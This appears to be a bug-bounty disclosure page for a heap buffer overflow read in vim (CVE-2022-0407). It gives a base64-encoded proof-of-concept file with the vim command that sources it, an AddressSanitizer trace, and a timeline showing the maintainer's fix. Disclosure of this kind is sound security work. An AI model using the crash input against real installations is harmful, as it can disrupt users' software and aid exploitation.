Heap-based Buffer Overflow in vim/vim

0

✓ Valid   Reported on Jan 27th 2022

Description

Heap-buffer-overflow on read in `yank_copy_line`

This issue was created to separate this one and was fixed with Patch 8.2.4219.

Proof of Concept

Steps to reproduce:

```
echo -n c2lsIW5vcm0wbxSA/zAWenk= | base64 -d > heap_ow_poc3

vim -u NONE -i NONE -n -X -Z -e -m -s -S heap_ow_poc3 -c :qa!
```

Sanitizer output

```
==1937==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000
READ of size 1 at 0x60200000722f thread T0
    #0 0xc35e39 in yank_copy_line /home/presler/fuzzing/vim_sanitized/src/r
    #1 0xc30874 in op_yank /home/presler/fuzzing/vim_sanitized/src/register
    #2 0xa7bffa in do_pending_operator /home/presler/fuzzing/vim_sanitized/
    #3 0x9fef02 in normal_cmd /home/presler/fuzzing/vim_sanitized/src/norma
    #4 0x76d4dc in exec_normal /home/presler/fuzzing/vim_sanitized/src/ex_d
    #5 0x76d33d in exec_normal_cmd /home/presler/fuzzing/vim_sanitized/src/
    #6 0x76cc2a in ex_normal /home/presler/fuzzing/vim_sanitized/src/ex_doc
    #7 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_do
    #8 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_do
    #9 0xc751a1 in do_source /home/presler/fuzzing/vim_sanitized/src/script
    #10 0xc729d8 in cmd_source /home/presler/fuzzing/vim_san
    #11 0xc72817 in ex_source /home/presler/fuzzing/vim_san
    #12 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_d
```

Chat with us

```
    #13 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_d
    #14 0x73af81 in do_cmdline_cmd /home/presler/fuzzing/vim_sanitized/src/
    #15 0x1198eca in exe_commands /home/presler/fuzzing/vim_sanitized/src/m

    #16 0x1196069 in vim_main2 /home/presler/fuzzing/vim_sanitized/src/main
    #17 0x118fde6 in main /home/presler/fuzzing/vim_sanitized/src/main.c:42
    #18 0x7fc84b9c50b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/
    #19 0x41db2d in _start (/home/presler/fuzzing/vim_sanitized/src/vim+0x4

0x60200000722f is located 1 bytes to the left of 2-byte region [0x602000007
allocated by thread T0 here:
    #0 0x49626d in malloc (/home/presler/fuzzing/vim_sanitized/src/vim+0x49
    #1 0x4c5c67 in lalloc /home/presler/fuzzing/vim_sanitized/src/alloc.c:2
    #2 0x4c5c3d in alloc /home/presler/fuzzing/vim_sanitized/src/alloc.c:15
    #3 0x8aaf87 in set_indent /home/presler/fuzzing/vim_sanitized/src/inden
    #4 0xa50bca in shift_line /home/presler/fuzzing/vim_sanitized/src/ops.c
    #5 0x8b42e4 in change_indent /home/presler/fuzzing/vim_sanitized/src/in
    #6 0x643eea in ins_shift /home/presler/fuzzing/vim_sanitized/src/edit.c
    #7 0x63ae2f in edit /home/presler/fuzzing/vim_sanitized/src/edit.c:956:
    #8 0xa3f602 in invoke_edit /home/presler/fuzzing/vim_sanitized/src/norm
    #9 0xa40d1f in n_opencmd /home/presler/fuzzing/vim_sanitized/src/normal
    #10 0xa27858 in nv_open /home/presler/fuzzing/vim_sanitized/src/normal.
    #11 0x9fedf7 in normal_cmd /home/presler/fuzzing/vim_sanitized/src/norm
    #12 0x76d4dc in exec_normal /home/presler/fuzzing/vim_sanitized/src/ex_
    #13 0x76d33d in exec_normal_cmd /home/presler/fuzzing/vim_sanitized/src
    #14 0x76cc2a in ex_normal /home/presler/fuzzing/vim_sanitized/src/ex_do
    #15 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_d
    #16 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_d
    #17 0xc751a1 in do_source /home/presler/fuzzing/vim_sanitized/src/scrip
    #18 0xc729d8 in cmd_source /home/presler/fuzzing/vim_sanitized/src/scri
    #19 0xc72817 in ex_source /home/presler/fuzzing/vim_sanitized/src/scrip
    #20 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_d
    #21 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_d
    #22 0x73af81 in do_cmdline_cmd /home/presler/fuzzing/vim_sanitized/src/
    #23 0x1198eca in exe_commands /home/presler/fuzzing/vim_sanitized/src/m
    #24 0x1196069 in vim_main2 /home/presler/fuzzing/vim_sanitized/src/main
    #25 0x118fde6 in main /home/presler/fuzzing/vim_sanitized/src/main.c:42
    #26 0x7fc84b9c50b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/presl
Shadow bytes around the buggy address:
```

Chat with us

```
  0x0c047fff8df0: fa fa fd fa fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c047fff8e00: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fd
  0x0c047fff8e10: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fd

  0x0c047fff8e20: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c047fff8e30: fa fa fd fd fa fa fd fa fa fa 01 fa fa fa 00 00
=>0x0c047fff8e40: fa fa 01 fa fa[fa]02 fa fa fa 05 fa fa fa fd fa
  0x0c047fff8e50: fa fa 02 fa fa fa 02 fa fa fa 00 fa fa fa 02 fa
  0x0c047fff8e60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8e70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8e80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8e90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==1937==ABORTING
```

Occurrences

C register.c L1477

Chat with us

CVE
CVE-2022-0407
(Published)

Vulnerability Type
CWE-122: Heap-based Buffer Overflow

Severity
Medium (5.7)

Visibility
Public

Status
Fixed

Found by

knnikita
@knnikita
unranked

Fixed by

Bram Moolenaar
@brammool
maintainer

This report was seen 671 times.

We are processing your report and will contact the **vim** team within 24 hours. 10 months ago

We have contacted a member of the **vim** team and are waiting to hear back 10 months ago

Bram Moolenaar validated this vulnerability 10 months ago

knnikita has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Bram Moolenaar 10 months ago

Chat with us

As mentioned in the description, this was in another bug report and now separate, thus still a valid issue. And fixed in patch 8.2.4219, which includes a test based on the POC.

Bram Moolenaar marked this as fixed in **8.2** with commit **44db82** 10 months ago

Bram Moolenaar has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

register.c#L1477 has been validated ✓

Sign in to join this conversation

2022 © 418sec